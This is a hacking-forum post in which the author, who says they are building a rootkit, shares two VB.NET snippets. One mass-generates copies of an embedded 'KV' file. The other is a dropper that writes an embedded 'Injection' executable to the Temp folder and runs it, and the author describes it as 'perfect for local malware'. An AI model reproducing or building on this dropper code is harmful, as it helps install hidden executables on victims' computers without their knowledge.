God's free code

Coefficient · 04-26-2015, 02:20 AM

hi people, ive come back to alphas and now all im gonna do (since alphas isn't my type [raiding]) well im gonna post some random code.
sometimes i will post simple code, some other times, more advanced code
im currently coding a multiring rootkit so yeah

Spoiler: EASY STUFF:
here is a simple file creation do while coded in vb.net, i used it to create multiple files of a same text or idk.
Code:
ElseIf text = "!generate" Then
            Dim i As Integer = 1
            Console.WriteLine("Please enter the amount of KVs you want to generate:")
            Dim num As Integer = Console.ReadLine
            Do Until i = num + 1
                Dim path As String = Environment.CurrentDirectory & "/KVs/kv(" & i & ").bin"


                File.WriteAllText(path, My.Resources.kv)
                Console.WriteLine("Generating KV #" & i)

                i += 1


                Console.Beep()



            Loop

            i = 1


Simple runfile from resources (perfect for local malware, can be detected easily tho)
Code:
Sub filecheck()
        Console.WriteLine("Filecheck was successfully called")
        Dim path1 As String = Environment.CurrentDirectory & "/files/installsuccess.txt"
        Dim pathforstub As String = My.Computer.FileSystem.SpecialDirectories.Temp & "/temp.exe"
        If File.Exists(path1) = False Then
            File.WriteAllText(path1, My.Resources.installnote)
            File.WriteAllBytes(pathforstub, My.Resources.Injection)
            Process.Start(pathforstub)
        End If
    End Sub

Please post what you wanna see
thanks, will update with other sections and more stuff often

God's free code
Author Message